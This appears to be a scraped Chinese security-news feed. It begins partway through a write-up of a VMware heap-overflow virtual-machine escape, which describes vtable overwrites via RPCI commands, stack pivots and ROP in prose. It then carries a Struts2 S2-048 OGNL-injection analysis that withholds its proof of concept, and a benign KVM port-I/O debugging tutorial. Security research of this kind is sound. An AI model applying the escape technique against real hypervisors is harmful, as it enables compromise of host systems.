对于CopyPaste对象,我们可以覆盖虚表指针,让它指向我们可控的其他数据。我们需要找到一个指针,指针指向的数据是可控并被用做对象的虚表。为此我们使用了另一个RPCI命令unity.window.contents.start。这个命令主要用于Unity模式下,在host上绘制一些图像。这个操作可以让我们往相对vmware-vmx偏移已知的位置写入一些数据。该命令接收的参数是图像的宽度和高度,二者都是32位,合并起来我们就在已知位置获得了一个64位的数据。我们用它来作为虚表中的一个指针,通过发送一个CopyPast命令即可触发该虚函数调用,步骤如下:

1. 发送unity.window.contents.start命令,通过指定参数宽度和高度,往全局变量处写入一个64位的栈迁移gadget地址

2. 覆盖对象虚表指针,指向伪造的虚表(调整虚表地址偏移)

3. 发送CopyPaste命令,触发虚函数调用

4. ROP

4.2.2 覆盖DnD对象

对于DnD对象,我们不能只覆盖vtable指针,因为在发生溢出之后vtable会立马被访问,另一个虚函数会被调用,而目前我们只能通过unity图像的宽度和高度控制一个qword,所以无法控制更大的虚表。

让我们看一看DnD和CP对象的结构,总结如下(一些类似的结构可以在open-vm-tools中找到,但是在vmware-vmx中会略有区别):

DnD_CopyPaste_RpcV3{ void*vtable; ... uint64_tifacetype; RpcUtil{ void*vtable; RpcBase*mRpc; DnDTransportBuffer{ uint64_tseqNum; uint8_t*buffer; uint64_ttotalSize; uint64_toffset; ... } ... }}RpcBase{ void*vtable; ...}

我们在此省略了结构中很多与本文无关的属性。对象中有个指针指向另一个C++对象RpcBase,如果我们能用一个可控数据的指针的指针覆盖mRpc这个域,那我们就控制了RpcBase的vtable。对此我们可以继续使用unity.window.contents.start命令来来控制mRpc,该命令的另一个参数是imgsize,这个参数代表分配的图像buffer的大小。这个buffer分配出来后,它的地址会存在vmware-vmx的固定偏移处。我们可以使用命令unity.window.contents.chunk来填充buffer的内容。步骤如下:

1. 发送unity.window.contents.start命令来分配一个buffer,后续我们用它来存储一个伪造的vtable。

2. 发送unity.window.contents.chunk命令来填充伪造的vtable,其中填入一个栈迁移的gadget

3. 通过溢出覆盖DnD对象的mRpc域,让它指向存储buffer地址的地方(某全局变量处),即写入一个指针的指针

4. 通过发送DnD命令来触发mRpc域的虚函数调用

5. ROP

P.S:vmware-vmx进程中有一个可读可写可执行的内存页(至少在版本12.5.3中存在)。

4.3 稳定性讨论

正如前面提及的,因为Windows LFH堆的随机化,当前的exploit无法做到100%成功率。不过可以尝试下列方法来提高成功率:

观察0xA8大小的内存分配,考虑是否可以通过一些malloc和free的调用来实现确定性的LFH分配,参考这里和这里。

寻找堆上的其他C++对象,尤其是那些可以在堆上喷射的

寻找堆上其他带有函数指针的对象,尤其是那些可以在堆上喷射的

找到一个独立的信息泄漏漏洞

打开更多脑洞

4.4 演示效果


【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

演示视频:

5. 感想与总结

“No pwn no fun”,如果你想参加Pwn2Own这样的比赛,你就需要准备多个漏洞,或者找到高质量的漏洞。

6. 我是广告

对安全研究、安全研发感兴趣的朋友欢迎投简历到hr@chaitin.com。



【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸
【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸
本文转载自 zhuanlan.zhihu.com
原文链接:https://zhuanlan.zhihu.com/p/27733895

【漏洞分析】Struts2高危漏洞S2-048分析

$
0
0
【漏洞分析】Struts2高危漏洞S2-048分析

2017-07-07 21:06:09

阅读:8503次
点赞(0)
收藏
来源: 安全客





【漏洞分析】Struts2高危漏洞S2-048分析

作者:安全客






【漏洞分析】Struts2高危漏洞S2-048分析

作者:n1nty


本次漏洞触发点在:

org.apache.struts2.s1.Struts1Action.execute() 方法中,如下图所示。


【漏洞分析】Struts2高危漏洞S2-048分析
org.apache.struts2.s1.Struts1Action 类为一个 Wrapper 类,用于将 Struts1 时代的 Action 包装成为 Struts2 中的 Action,以让它们在 struts2 框架中继续工作。

在 Struts1Action 的 execute 方法中,会调用对应的 Struts1 Action 的 execute 方法(第一个红色箭头处)。在调用完后,会检查 request 中是否设置了 ActionMessage,如果是,则将会对 action messages 进行处理并回显给客户端。处理时使用了 getText 方法,这里就是漏洞的触发点。所以漏洞的触发条件是:在 struts1 action 中,将来自客户端的参数值设置到了 action message 中。

在官方提供的 Showcase 中,就存在漏洞,如下图:


【漏洞分析】Struts2高危漏洞S2-048分析

getText 方法的主要作用就是实现网站语言的国际化,它会根据不同的 Locale 去对应的资源文件里面获取相关文字信息(这些文件信息一般保存在 .properties 文件中),这些文字信息往往会回显至客户端。

Action messages 会通过 getText 方法最终进入 com.opensymphony.xwork2.util.LocalizedTextUtil.getDefaultMessage(String, Locale, ValueStack, Object[], String) 方法,如下:
【漏洞分析】Struts2高危漏洞S2-048分析

此方法会将 action message 传入 com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack)。com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack) 方法主要用于扩展字符串中由 ${} 或 %{} 包裹的 OGNL 表达式,这里也就是 OGNL 的入口,随后 action message 将进入 OGNL 的处理流程,漏洞被触发。


关于 POC

暂不公布

总结

该漏洞触发需要非默认插件 struts2-struts1-plugin

需要手动寻找程序中将客户端参数值添加入 action message 的点




【漏洞分析】Struts2高危漏洞S2-048分析
【漏洞分析】Struts2高危漏洞S2-048分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4078.html

【技术分享】探索QEMU-KVM中PIO处理的奥秘

$
0
0
【技术分享】探索QEMU-KVM中PIO处理的奥秘

2017-07-10 10:13:11

阅读:814次
点赞(0)
收藏
来源: 安全客





【技术分享】探索QEMU-KVM中PIO处理的奥秘

作者:360GearTeam





【技术分享】探索QEMU-KVM中PIO处理的奥秘

作者:Terenceli @ 360 Gear Team

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


我们都知道在kvm/qemu的虚拟机中向端口读写输入会陷入kvm中(绝大部分端口)。但是其具体过程是怎么样的,虚拟机、kvm和qemu这三者的关系在这个过程中又是如何相互联系来完成这一模拟过程的。本文就是对这一问题的探索,通过对kvm进行调试来了解其中的奥秘。


零. 准备工作

工欲善其事,必先利其器。为了了解kvm如何对PIO进行截获处理,首先需要调试kvm,这需要 配置双机调试环境,网上很多例子,需要注意的是,4.x内核清除kernel text的可写保护有点问题。 所以本文还是用的3.x内核,具体为3.10.105。所以我们的环境是target为3.10.105的内核,debugger随意。

如果我们直接用kvm/qemu调试,由于一个完整的环境会有非常多的vm exit,会干扰我们的分析。 这里我们只需要建立一个使用kvm api建立起一个最简易虚拟机的例子,在虚拟机中执行in/out 指令即可。网上也有很多这种例子。比如使用KVM API实现Emulator Demo, linux KVM as a Learning Tool.

这里我们使用第一个例子,首先从

https://github.com/soulxu/kvmsample

把代码clone下来,直接make,如果加载了kvm应该就可以看到输出了,kvm的api用法这里不表,仔细看看 前两篇文章之一就可以了,qemu虽然复杂,本质上也是这样运行的。这个例子中的guest是向端口输出数据。


一. IO端口在KVM中的注册

首先我们需要明确的一点是,IO port 这个东西是CPU用来与外设进行数据交互的,也不是所有CPU都有。 在虚拟机看来是没有IO port这个概念的,所以是一定要在vm exit中捕获的。

对于是否截获IO指令,是由vmcs中的VM-Execution controls中的两个域决定的。 参考intel SDM 24.6.2:


【技术分享】探索QEMU-KVM中PIO处理的奥秘

我们可以看到如果设置了Use I/O bitmpas这一位,Unconditional I/O exiting就无效了,如果在IO bitmap 中某一位被设置为1,则访问该端口就会发生vm exit,否则客户机可以直接访问。 IO bitmap的地址存在vmcs中的I/O-Bitmap Addresses域中,事实上,有两个IO bitmap,我们叫做A和B。 再来看看SDM


【技术分享】探索QEMU-KVM中PIO处理的奥秘

每一个bitmap包含4kb,也就是一个页,bitmap A包含了端口0000H到7FFFFH(4*1024*8),第二个端口包含了8000H到 FFFFH。

好了,我们已经从理论上对IO port有了了解了,下面看看kvm中的代码。

首先我们看到arch/x86/kvm/vmx.c中,定义了两个全局变量表示bitmap A和B的地址。 在vmx_init函数中这两个指针都被分配了一个页大小的空间,之后所有位都置1,然后在bitmap A中对第 80位进行了清零,也就是客户机访

这个0x80端口不会发生vm exit。

staticunsignedlong*vmx_io_bitmap_a; staticunsignedlong*vmx_io_bitmap_b; staticint__initvmx_init(void) { vmx_io_bitmap_a=(unsignedlong*)__get_free_page(GFP_KERNEL); vmx_io_bitmap_b=(unsignedlong*)__get_free_page(GFP_KERNEL); /* *AllowdirectaccesstothePCdebugport(itisoftenusedforI/O *delays,butthevmexitssimplyslowthingsdown). */ memset(vmx_io_bitmap_a,0xff,PAGE_SIZE); clear_bit(0x80,vmx_io_bitmap_a); memset(vmx_io_bitmap_b,0xff,PAGE_SIZE); ... }

在同一个文件中,我们看到在对vcpu进行初始化的时候会把这个bitmap A和B的地址写入到vmcs中去,这样 就建立了对IO port的访问的截获。

staticintvmx_vcpu_setup(structvcpu_vmx*vmx) { /*I/O*/ vmcs_write64(IO_BITMAP_A,__pa(vmx_io_bitmap_a)); vmcs_write64(IO_BITMAP_B,__pa(vmx_io_bitmap_b)); return0; }

二. PIO中out的处理流程

本节我们来探讨一下kvm中out指令的处理流程。首先,将上一节中的test.S代码改一下,只out一次。

.globl_start .code16 _start: xorw%ax,%ax mov$0x0a,%al out%ax,$0x10 inc%ax hlt

kvm中guest发送vm exit之后会根据发送exit的原因调用各种handler。这也在vmx.c中

staticint(*constkvm_vmx_exit_handlers[])(structkvm_vcpu*vcpu)={ [EXIT_REASON_EXCEPTION_NMI]=handle_exception, [EXIT_REASON_EXTERNAL_INTERRUPT]=handle_external_interrupt, [EXIT_REASON_TRIPLE_FAULT]=handle_triple_fault, [EXIT_REASON_NMI_WINDOW]=handle_nmi_window, [EXIT_REASON_IO_INSTRUCTION]=handle_io, ... }

对应这里,处理IO的回调是handle_io。我们在target中执行:

root@ubuntu:/home/test#echog>/proc/sysrq-trigger

这样调试机中的gdb会断下来,给handle_io下个断点:

(gdb)bhandle_io Breakpoint1at0xffffffff81037dca:filearch/x86/kvm/vmx.c,line4816. (gdb)c 接着,我们用gdb启动target中的kvmsample,并且在main.c的84行下个断点。 test@ubuntu:~/kvmsample$gdb./kvmsample ... Readingsymbolsfrom./kvmsample...done. (gdb)bma mainmain.cmallocmalloc@plt (gdb)bmain.c:84 Breakpoint1at0x400cac:filemain.c,line84.

第84行恰好是从ioctl KVM_RUN中返回回来的时候。


【技术分享】探索QEMU-KVM中PIO处理的奥秘

好了,开始r,会发现debugger已经断下来了:

Thread434hitBreakpoint1,handle_io(vcpu=0xffff8800ac528000) atarch/x86/kvm/vmx.c:4816 4816{ (gdb)

从handle_io的代码我们可以看出,首先会从vmcs中读取exit的一些信息,包括访问这个端口是in还是out, 大小,以及端口号port等。

staticinthandle_io(structkvm_vcpu*vcpu) { unsignedlongexit_qualification; intsize,in,string; unsignedport; exit_qualification=vmcs_readl(EXIT_QUALIFICATION); string=(exit_qualification&16)!=0; in=(exit_qualification&8)!=0; ++vcpu->stat.io_exits; if(string||in) returnemulate_instruction(vcpu,0)==EMULATE_DONE; port=exit_qualification>>16; size=(exit_qualification&7)+1; skip_emulated_instruction(vcpu); returnkvm_fast_pio_out(vcpu,size,port); }

之后通过skip_emulated_instruction增加guest的rip之后调用kvm_fast_pio_out,在该函数中, 我们可以看到首先读取guest的rax,这个值放的是向端口写入的数据,这里是,0xa

intkvm_fast_pio_out(structkvm_vcpu*vcpu,intsize,unsignedshortport) { unsignedlongval=kvm_register_read(vcpu,VCPU_REGS_RAX); intret=emulator_pio_out_emulated(&vcpu->arch.emulate_ctxt, size,port,&val,1); /*donotreturntoemulatorafterreturnfromuserspace*/ vcpu->arch.pio.count=0; returnret; }

我们可以对比gdb中看看数据:

Thread434hitBreakpoint1,handle_io(vcpu=0xffff8800ac528000) atarch/x86/kvm/vmx.c:4816 4816{ (gdb)n 4821exit_qualification=vmcs_readl(EXIT_QUALIFICATION); (gdb)n 4825++vcpu->stat.io_exits; (gdb)n 4827if(string||in) (gdb)n 4832skip_emulated_instruction(vcpu); (gdb)n [NewThread3654] 4834returnkvm_fast_pio_out(vcpu,size,port); (gdb)s kvm_fast_pio_out(vcpu=0xffff8800ac528000,size=16,port=16) atarch/x86/kvm/x86.c:5086 5086{ (gdb)n [NewThread3656] 5087unsignedlongval=kvm_register_read(vcpu,VCPU_REGS_RAX); (gdb)n [NewThread3657] 5088intret=emulator_pio_out_emulated(&vcpu->arch.emulate_ctxt, (gdb)p/xval $1=0xa (gdb)

再往下,我们看到在emulator_pio_out_emulated,把值拷贝到了vcpu->arch.pio_data中,接着调用 emulator_pio_in_out。

staticintemulator_pio_out_emulated(structx86_emulate_ctxt*ctxt, intsize,unsignedshortport, constvoid*val,unsignedintcount) { structkvm_vcpu*vcpu=emul_to_vcpu(ctxt); memcpy(vcpu->arch.pio_data,val,size*count); returnemulator_pio_in_out(vcpu,size,port,(void*)val,count,false); } staticintemulator_pio_in_out(structkvm_vcpu*vcpu,intsize, unsignedshortport,void*val, unsignedintcount,boolin) { trace_kvm_pio(!in,port,size,count); vcpu->arch.pio.port=port; vcpu->arch.pio.in=in; vcpu->arch.pio.count=count; vcpu->arch.pio.size=size; if(!kernel_pio(vcpu,vcpu->arch.pio_data)){ vcpu->arch.pio.count=0; return1; } vcpu->run->exit_reason=KVM_EXIT_IO; vcpu->run->io.direction=in?KVM_EXIT_IO_IN:KVM_EXIT_IO_OUT; vcpu->run->io.size=size; vcpu->run->io.data_offset=KVM_PIO_PAGE_OFFSET*PAGE_SIZE; vcpu->run->io.count=count; vcpu->run->io.port=port; return0; }

在后一个函数中,我们可以看到vcpu->run->io.data_offset设置为4096了,我们可以看到之前已经把我们 向端口写的值通过memcpy拷贝到了vpuc->arch.pio_data中去了,通过调试我们可以看出其中的端倪。 vcpu->arch.pio_data就在kvm_run后面一个页的位置。这也可以从kvm_vcpu_init中看出来。

4405vcpu->run->io.size=size; (gdb)n [NewThread3667] 4406vcpu->run->io.data_offset=KVM_PIO_PAGE_OFFSET*PAGE_SIZE; (gdb)n 4407vcpu->run->io.count=count; (gdb)n 4408vcpu->run->io.port=port; (gdb)pcount $7=1 (gdb)n 4410return0; (gdb)x/2b0xffff88002a2a2000+0x1000 0xffff88002a2a3000:0x0a0x00 (gdb)pvcpu->run $9=(structkvm_run*)0xffff88002a2a2000 (gdb)pvcpu->arch.pio_data $10=(void*)0xffff88002a2a3000 (gdb)

这样,我们看到vcpu->run->io保存了一些PIO的基本信息,比如大小,端口号等,run后面的一个页 vcpu->arch.pio_data则保存了实际out出来的数据。让target继续执行,这个时候我们断回了kvmsample 程序中。

(gdb)pkvm->vcpus->kvm_run->io $2={direction=1'\001',size=2'\002',port=16,count=1, data_offset=4096} (gdb)

这里简单说一下kvm_run,这是用于vcpu和应用层的程序(典型如qemu)通信的一个结构,user space的 程序通过KVM__VCPU_MMAP_SIZE这个ioctl得到大小得到大小,然后映射到用户空间。

(gdb)x/2b0x7ffff7ff4000+0x1000 0x7ffff7ff5000:10

我们通过gdb可以看到,我们在guest向端口写入的数据以及端口都能够从user space读出来。在这个示例程序中, 仅仅是把数据输出来,qemu中会根据端口去寻找对应的设备,然后执行对应的回调。

整体而言,out指令的流程是非常简单的,guest写端口,陷入kvm, kvm回到user space处理。


三. PIO中in的处理流程

虽然我们说guest访问端口包含了读写,都会导致vm exit。但是如果我们细想一下会发现,out和in肯定是不一样 的。out只需要guest写一个数据就好了,但是in还需要读回来数据。所以流程应该是guest发起一个in操作, 然后kvm处理,返回到user space之中,把数据填到kvm_run结构中,这样,kvm得到数据了再vm entry,这样 in的数据就能够到guest中了。

我们队实例程序做简单修改。在test.S中首先从0x10端口读入一个值,这个值为0xbeff,然后写到端口0x10。

test.S #Atestcodeforkvmsample .globl_start .code16 _start: xorw%ax,%ax mov$0x0a,%al in$0x10,%ax out%ax,$0x10 hlt

对main.c做如下修改:


【技术分享】探索QEMU-KVM中PIO处理的奥秘

在处理KVM_EXIT_IO的时候区分了一下in/out,对in我们拷贝一个0xbeff过去。然后用在guest中用out向 端口0x10输出这个值。

执行in指令的第一次仍然是陷入kvm handle_io处理,只是这次走另一条路:

Thread486hitBreakpoint1,handle_io(vcpu=0xffff88011d428000) atarch/x86/kvm/vmx.c:4816 4816{ (gdb)n 4821exit_qualification=vmcs_readl(EXIT_QUALIFICATION); (gdb) 4825++vcpu->stat.io_exits; (gdb) 4827if(string||in) (gdb) 4828returnemulate_instruction(vcpu,0)==EMULATE_DONE; (gdb)s emulate_instruction(emulation_type=<optimizedout>,vcpu=<optimizedout>) at/home/test/linux-3.10.105/arch/x86/include/asm/kvm_host.h:811 811returnx86_emulate_instruction(vcpu,0,emulation_type,NULL,0); (gdb)s

调用x86_emulate_instruction,这之中调用的最重要的两个函数时x86_decode_insn, x86_emulate_insn。

intx86_emulate_instruction(structkvm_vcpu*vcpu, unsignedlongcr2, intemulation_type, void*insn, intinsn_len) { intr; structx86_emulate_ctxt*ctxt=&vcpu->arch.emulate_ctxt; boolwriteback=true; boolwrite_fault_to_spt=vcpu->arch.write_fault_to_shadow_pgtable; /* *Clearwrite_fault_to_shadow_pgtableheretoensureitis *neverreused. */ vcpu->arch.write_fault_to_shadow_pgtable=false; kvm_clear_exception_queue(vcpu); if(!(emulation_type&EMULTYPE_NO_DECODE)){ init_emulate_ctxt(vcpu); r=x86_decode_insn(ctxt,insn,insn_len); } restart: r=x86_emulate_insn(ctxt); if(ctxt->have_exception){ inject_emulated_exception(vcpu); r=EMULATE_DONE; }elseif(vcpu->arch.pio.count){ if(!vcpu->arch.pio.in) vcpu->arch.pio.count=0; else{ writeback=false; vcpu->arch.complete_userspace_io=complete_emulated_pio; } r=EMULATE_DO_MMIO; if(writeback){ toggle_interruptibility(vcpu,ctxt->interruptibility); kvm_set_rflags(vcpu,ctxt->eflags); kvm_make_request(KVM_REQ_EVENT,vcpu); vcpu->arch.emulate_regs_need_sync_to_vcpu=false; kvm_rip_write(vcpu,ctxt->eip); }else vcpu->arch.emulate_regs_need_sync_to_vcpu=true; returnr; } EXPORT_SYMBOL_GPL(x86_emulate_instruction);

第一个函数,x86_decode_insn,顾名思义,就是解码当前的指令。

intx86_decode_insn(structx86_emulate_ctxt*ctxt,void*insn,intinsn_len) { /*Legacyprefixes.*/ for(;;){ switch(ctxt->b=insn_fetch(u8,ctxt)){ } /*Opcodebyte(s).*/ opcode=opcode_table[ctxt->b]; /*Two-byteopcode?*/ if(ctxt->b==0x0f){ ctxt->twobyte=1; ctxt->b=insn_fetch(u8,ctxt); opcode=twobyte_table[ctxt->b]; } ctxt->d=opcode.flags; ctxt->execute=opcode.u.execute; ctxt->check_perm=opcode.check_perm; ctxt->intercept=opcode.intercept; rc=decode_operand(ctxt,&ctxt->src,(ctxt->d>>SrcShift)&OpMask); if(rc!=X86EMUL_CONTINUE) gotodone; /* *Decodeandfetchthesecondsourceoperand:register,memory *orimmediate. */ rc=decode_operand(ctxt,&ctxt->src2,(ctxt->d>>Src2Shift)&OpMask); if(rc!=X86EMUL_CONTINUE) gotodone; /*Decodeandfetchthedestinationoperand:registerormemory.*/ rc=decode_operand(ctxt,&ctxt->dst,(ctxt->d>>DstShift)&OpMask); }

首先通过insn_fetch获取指令,从下面的调试可以看到取到的指令正好是我们的in指令的机器码:

(gdb) 4366switch(ctxt->b=insn_fetch(u8,ctxt)){ (gdb) 4414if(ctxt->rex_prefix&8) (gdb)pctxt->b $38=229'\345' (gdb)p/xctxt->b $39=0xe5

之后根据指令,查表opcode_table找到对应的回调函数,将回调赋值给ctxt->execute.对于我们的in指令 来说这个回调是em_in函数。

4472ctxt->execute=opcode.u.execute; (gdb) 4473ctxt->check_perm=opcode.check_perm; (gdb)pctxt->execute $41=(int(*)(structx86_emulate_ctxt*))0xffffffff81027238<em_in> (gdb)n

接下来就是调用三次decode_operand取出对应指令的操作数了。从下面的调试结果我们看出,源操作数 的值为ctxt->src->val=16,需要写到的寄存器是RAX,即ctxt->dst->addr.reg

(gdb)n 4528rc=decode_operand(ctxt,&ctxt->src2,(ctxt->d>>Src2Shift)&OpMask); (gdb)n 4529if(rc!=X86EMUL_CONTINUE) (gdb)pctxt->src->val $42=16 (gdb)n 4533rc=decode_operand(ctxt,&ctxt->dst,(ctxt->d>>DstShift)&OpMask); (gdb)s ... (gdb)pop->addr.reg $46=(unsignedlong*)0xffff88011d4296c8 (gdb)pctxt->_regs[0] $47=10 (gdb)p&ctxt->_regs[0] $48=(unsignedlong*)0xffff88011d4296c8

继续回到x86_emulate_instruction函数中,指令解码之后就是执行了,这是通过调用x86_emulate_insn 实现的。

intx86_emulate_insn(structx86_emulate_ctxt*ctxt) { conststructx86_emulate_ops*ops=ctxt->ops; intrc=X86EMUL_CONTINUE; intsaved_dst_type=ctxt->dst.type; if(ctxt->execute){ if(ctxt->d&Fastop){ void(*fop)(structfastop*)=(void*)ctxt->execute; rc=fastop(ctxt,fop); if(rc!=X86EMUL_CONTINUE) gotodone; gotowriteback; } rc=ctxt->execute(ctxt); if(rc!=X86EMUL_CONTINUE) gotodone; gotowriteback; } writeback: rc=writeback(ctxt); if(rc!=X86EMUL_CONTINUE) gotodone; done: if(rc==X86EMUL_PROPAGATE_FAULT) ctxt->have_exception=true; if(rc==X86EMUL_INTERCEPTED) returnEMULATION_INTERCEPTED; if(rc==X86EMUL_CONTINUE) writeback_registers(ctxt); return(rc==X86EMUL_UNHANDLEABLE)?EMULATION_FAILED:EMULATION_OK; }

最重要的当然是调用回调函数了

rc=ctxt->execute(ctxt);

从之前的解码中,我们已经知道这是em_in了,相关调用函数如下:

staticintem_in(structx86_emulate_ctxt*ctxt) { if(!pio_in_emulated(ctxt,ctxt->dst.bytes,ctxt->src.val, &ctxt->dst.val)) returnX86EMUL_IO_NEEDED; returnX86EMUL_CONTINUE; } staticintpio_in_emulated(structx86_emulate_ctxt*ctxt, unsignedintsize,unsignedshortport, void*dest) { structread_cache*rc=&ctxt->io_read; if(rc->pos==rc->end){/*refillpioreadahead*/ ... rc->pos=rc->end=0; if(!ctxt->ops->pio_in_emulated(ctxt,size,port,rc->data,n)) return0; rc->end=n*size; } if(ctxt->rep_prefix&&!(ctxt->eflags&EFLG_DF)){ ctxt->dst.data=rc->data+rc->pos; ctxt->dst.type=OP_MEM_STR; ctxt->dst.count=(rc->end-rc->pos)/size; rc->pos=rc->end; }else{ memcpy(dest,rc->data+rc->pos,size); rc->pos+=size; } return1; } staticintemulator_pio_in_emulated(structx86_emulate_ctxt*ctxt, intsize,unsignedshortport,void*val, unsignedintcount) { structkvm_vcpu*vcpu=emul_to_vcpu(ctxt); intret; if(vcpu->arch.pio.count) gotodata_avail; ret=emulator_pio_in_out(vcpu,size,port,val,count,true); if(ret){ data_avail: memcpy(val,vcpu->arch.pio_data,size*count); vcpu->arch.pio.count=0; return1; } return0; }

在最后一个函数中,由于vcpu->arch.pio.count此时还没有数据(需要user spaces提供),所以会执行 emulator_pio_in_out,这在之前已经看过这个函数了,这就是设置kvm_run的相关数据,然后user spaces来 填充。

执行完了x86_emulate_insn,流程再次回到x86_emulate_instruction,最重要的是设置 vcpu->arch.complete_userspace_io这样一个回调。

if(ctxt->have_exception){ inject_emulated_exception(vcpu); r=EMULATE_DONE; }elseif(vcpu->arch.pio.count){ if(!vcpu->arch.pio.in) vcpu->arch.pio.count=0; else{ writeback=false; vcpu->arch.complete_userspace_io=complete_emulated_pio; }

之后这一次vm exit就算完事了。这样就会退到user space的ioctl KVM_RUN处。user space发现是一个 KVM_EXIT_IO,并且方向是KVM_EXIT_IO_IN,于是向kvm_run填入数据0xbeff。

caseKVM_EXIT_IO: printf("KVM_EXIT_IO\n"); if(kvm->vcpus->kvm_run->io.direction==KVM_EXIT_IO_OUT) printf("outport:%d,data:0x%x\n", kvm->vcpus->kvm_run->io.port, *(int*)((char*)(kvm->vcpus->kvm_run)+kvm->vcpus->kvm_run->io.data_offset) ); elseif(kvm->vcpus->kvm_run->io.direction==KVM_EXIT_IO_IN) { printf("inport:%d\n",kvm->vcpus->kvm_run->io.port); *(short*)((char*)(kvm->vcpus->kvm_run)+kvm->vcpus->kvm_run->io.data_offset)=0xbeff; }

由于user space的ioctl一般都是运行在一个循环中(如果不这样,guest也就不可能一直运行着了)。所以接着调用 KVM_RUN ioctl。在进入non-root的模式前,有一个工作就是判断vcpu->arch.complete_userspace_io 是否设置,如果设置就会调用。

intkvm_arch_vcpu_ioctl_run(structkvm_vcpu*vcpu,structkvm_run*kvm_run) { intr; sigset_tsigsaved; if(unlikely(vcpu->arch.complete_userspace_io)){ int(*cui)(structkvm_vcpu*)=vcpu->arch.complete_userspace_io; vcpu->arch.complete_userspace_io=NULL; r=cui(vcpu); if(r<=0) gotoout; }else WARN_ON(vcpu->arch.pio.count||vcpu->mmio_needed); r=__vcpu_run(vcpu); returnr; }

从之前的分之知道

vcpu->arch.complete_userspace_io=complete_emulated_pio;

看看相应的代码

staticintcomplete_emulated_pio(structkvm_vcpu*vcpu) { BUG_ON(!vcpu->arch.pio.count); returncomplete_emulated_io(vcpu); } staticinlineintcomplete_emulated_io(structkvm_vcpu*vcpu) { intr; vcpu->srcu_idx=srcu_read_lock(&vcpu->kvm->srcu); r=emulate_instruction(vcpu,EMULTYPE_NO_DECODE); srcu_read_unlock(&vcpu->kvm->srcu,vcpu->srcu_idx); if(r!=EMULATE_DONE) return0; return1; } staticinlineintemulate_instruction(structkvm_vcpu*vcpu, intemulation_type) { returnx86_emulate_instruction(vcpu,0,emulation_type,NULL,0); }

最终也是调用了x86_emulate_instruction,值得注意的是用了参数EMULTYPE_NO_DECODE,这就不会再次 解码。而是直接执行我们之前的em_in函数。

staticintemulator_pio_in_emulated(structx86_emulate_ctxt*ctxt, intsize,unsignedshortport,void*val, unsignedintcount) { structkvm_vcpu*vcpu=emul_to_vcpu(ctxt); intret; if(vcpu->arch.pio.count) gotodata_avail; ret=emulator_pio_in_out(vcpu,size,port,val,count,true); if(ret){ data_avail: memcpy(val,vcpu->arch.pio_data,size*count); vcpu->arch.pio.count=0; return1; } return0; }

在最终的emulator_pio_in_emulated中,由于这个时候vcpu->arch.pio.count已经有值了,表示数据可用了。 最终会把数据拷贝到ctx->dst.val中。

(gdb)n em_in(ctxt=0xffff88011d429550)atarch/x86/kvm/emulate.c:3440 3440returnX86EMUL_CONTINUE; (gdb)n 3441} (gdb)pctxt->dst.val $58=48895 (gdb)p/xctxt->dst.val $59=0xbeff (gdb)n

回到x86_emulate_insn,执行完了指令回调之后,会调到writeback函数去:

if(ctxt->execute){ if(ctxt->d&Fastop){ void(*fop)(structfastop*)=(void*)ctxt->execute; rc=fastop(ctxt,fop); if(rc!=X86EMUL_CONTINUE) gotodone; gotowriteback; } writeback: rc=writeback(ctxt); if(rc!=X86EMUL_CONTINUE) gotodone;

我们之前解码得到ctxt->dst.type是一个寄存器,所以会执行write_register_operand

staticintwriteback(structx86_emulate_ctxt*ctxt) { intrc; if(ctxt->d&NoWrite) returnX86EMUL_CONTINUE; switch(ctxt->dst.type){ caseOP_REG: write_register_operand(&ctxt->dst); break; returnX86EMUL_CONTINUE; } staticvoidwrite_register_operand(structoperand*op) { /*The4-bytecase*is*correct:in64-bitmodewezero-extend.*/ switch(op->bytes){ case1: *(u8*)op->addr.reg=(u8)op->val; break; case2: *(u16*)op->addr.reg=(u16)op->val; break; case4: *op->addr.reg=(u32)op->val; break;/*64b:zero-extend*/ case8: *op->addr.reg=op->val; break; } } 最后一个函数op->addr.reg是解码过程中的目的操作数的寄存器,由之前知道是rax(&ctxt->_regs[0]),这样 就把数据(0xbeff)写到了寄存器了。但是这里是ctxt的寄存器,最后还需要写到vmcs中去,通过调用如下函数 实现 if(rc==X86EMUL_CONTINUE) writeback_registers(ctxt); staticvoidwriteback_registers(structx86_emulate_ctxt*ctxt) { unsignedreg; for_each_set_bit(reg,(ulong*)&ctxt->regs_dirty,16) ctxt->ops->write_gpr(ctxt,reg,ctxt->_regs[reg]); } staticvoidemulator_write_gpr(structx86_emulate_ctxt*ctxt,unsignedreg,ulongval) { kvm_register_write(emul_to_vcpu(ctxt),reg,val); } staticinlinevoidkvm_register_write(structkvm_vcpu*vcpu, enumkvm_regreg, unsignedlongval) { vcpu->arch.regs[reg]=val; __set_bit(reg,(unsignedlong*)&vcpu->arch.regs_dirty); __set_bit(reg,(unsignedlong*)&vcpu->arch.regs_avail); }

这样,接着进入guest状态的时候,guest得RAX就有了user space传来的数据了。下面是一些调试数据。

(gdb)n x86_emulate_insn(ctxt=0xffff88011d429550)atarch/x86/kvm/emulate.c:4828 4828ctxt->dst.type=saved_dst_type; (gdb)pctxt->dst.val $64=48895 (gdb)p&ctxt->dst.val $65=(unsignedlong*)0xffff88011d429640 (gdb)p&op->val Nosymbol"op"incurrentcontext. (gdb)n 4830if((ctxt->d&SrcMask)==SrcSI) (gdb)pctxt->dst.type $66=OP_REG (gdb)n [NewThread2976] 4833if((ctxt->d&DstMask)==DstDI) (gdb)n [NewThread2978] [NewThread2977] 4836if(ctxt->rep_prefix&&(ctxt->d&String)){ (gdb)n 4866ctxt->eip=ctxt->_eip; (gdb)n 4875writeback_registers(ctxt);

四. 参考

oenhan: KVM源代码分析5:IO虚拟化之PIO

Alex Xu: 使用KVM API实现Emulator Demo



【技术分享】探索QEMU-KVM中PIO处理的奥秘
【技术分享】探索QEMU-KVM中PIO处理的奥秘
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4079.html

【知识】7月10日 - 每日安全知识热点

$
0
0
【知识】7月10日 - 每日安全知识热点

2017-07-10 10:07:12

阅读:527次
点赞(0)
收藏
来源: 安全客





【知识】7月10日 - 每日安全知识热点

作者:adlab_puky





【知识】7月10日 - 每日安全知识热点

